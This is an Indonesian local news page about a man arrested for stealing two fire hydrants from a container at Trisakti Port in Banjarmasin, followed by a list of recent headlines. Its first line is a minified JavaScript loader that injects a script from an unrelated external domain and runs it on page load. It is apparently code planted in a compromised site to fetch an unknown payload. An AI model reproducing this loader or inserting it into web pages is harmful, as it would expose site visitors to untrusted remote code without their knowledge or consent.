(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Curi Dua Buah Hydrant di Kontainer Pelabuhan Trisakti, Lelaki Ini Berlebaran di Penjara


KANALKALIMANTAN.COM, BANJARMASIN – Kepolisian Sektor (Polsek) Kawasan Pelabuhan dan Laut (KPL) Banjarmasin berhasil mengamankan seorang lelaki pelaku pencurian di kawasan Pelabuhan Trisakti Banjarmasin.

AS (34) warga Mantuil Raya, Kecamatan Banjarmasin Selatan, Kota Banjarmasin, harus berlebaran di rumah tahanan karena mencuri dua buah hydrant (alat pemadam).

Dijelaskan Kapolsek KPL Banjarmasin Kompol Aryansyah melalui Kanit Reskrim Iptu Bagus Syahid, pada hari Kamis (13/4/2023) sekitar pukul 10.00 Wita, Septian Dwi Cahyo (37) warga Landasan Ulin, Kota Banjarbaru menerima telrpon dari saksi Khairani jika rantai gembok kontainer warna biru nomor TAKU 601694 miliknya terbuka.

Kemudian saksi juga melaporkan kepada pemilik kontainer jika dua buah hydrant bewarna merah di dalam kontainer tersebut telah hilang.

 

Baca juga: Operasi Ketupat 2023, Polda Kalsel Siagakan Ribuan Personel

Selanjutnya pada Jumat (14/4/2023) sekitar pukul 14.00 Wita, security pelabuhan mendapati pelaku sedang membuka rantai dan gembok kontainer TGHU 7996929 yang diketahui berisi barang milik Septian yang hilang.

Setalah ditanyakan, AS tidak dapat mengelak dan mengakui jika ia yang mencuri dua buah hydrant di dalam kontainer nomor TAKU 601694 tersebut.

“Dari kejadian tersebut pelapor mengalami kerugian sebesar Rp 9 juta, dan korban menuntut sesuai hukum,” kata Kanit Reskrim, Iptu Bagus, Senin (17/4/2023) siang.

Lebih lanjut terang Iptu Bagus, pelaku AS bersama barang bukti telah diamankan di Polsek KPL untuk dialakukan proses hukum lebih lanjut.

Sementara itu, perbuatan pelaku diancam dengan Pasal 363 Ayat (1) ke 5 tentang Pencurian dengan Pemberatan Jo. Pasal 53 Kitab Undang-Undang Hukum Pidana (KUHP) dengan ancaman hukuman maksimal tujuh tahun penjara. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Al Ghifari

Recent Posts

Jalinan Erat Silaturahmi Warga Sungai Besar dari Budaya Banjar “Balogo”

KANALKALIMANTAN.COM, BANJARBARU – Suasana riuh diiringi tawa gembira warga baik tua, muda, hingga anak-anak, larut… Read More

8 jam ago

Pelantikan Pengurus Wilayah Keluarga Besar PII Kalsel

KANALKALIMANTAN.COM, BANJARMASIN – 4 Mei diperingati Hari Bangkit (Harba) organisasi pelajar tertua di Tanah Air,… Read More

9 jam ago

Lesti Kejora Hingga Ria Ricis Siap Ramaikan Silet Awards 2024!

KANALKALIMANTAN.COM, - Ajang penghargaan paling dramatis dan paling sensasional yang ditunggu masyarakat, Silet Awards 2024… Read More

10 jam ago

Kontes Motor 2Tak “Entwosiastrokes Volume 2 2024” di Banjarbaru, Ajang Adu Para Modifikator Banua

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin mengapreasiasi penyelenggaraan event kontes motor "Entwosiastrokes… Read More

11 jam ago

Kali Pertama Airbus A340 Layani Jemaah Haji Embarkasi Banjarmasin

Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More

14 jam ago

100 Peserta Ramaikan Kejuaraan Catur se Kalteng Piala Pj Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More

17 jam ago

This website uses cookies.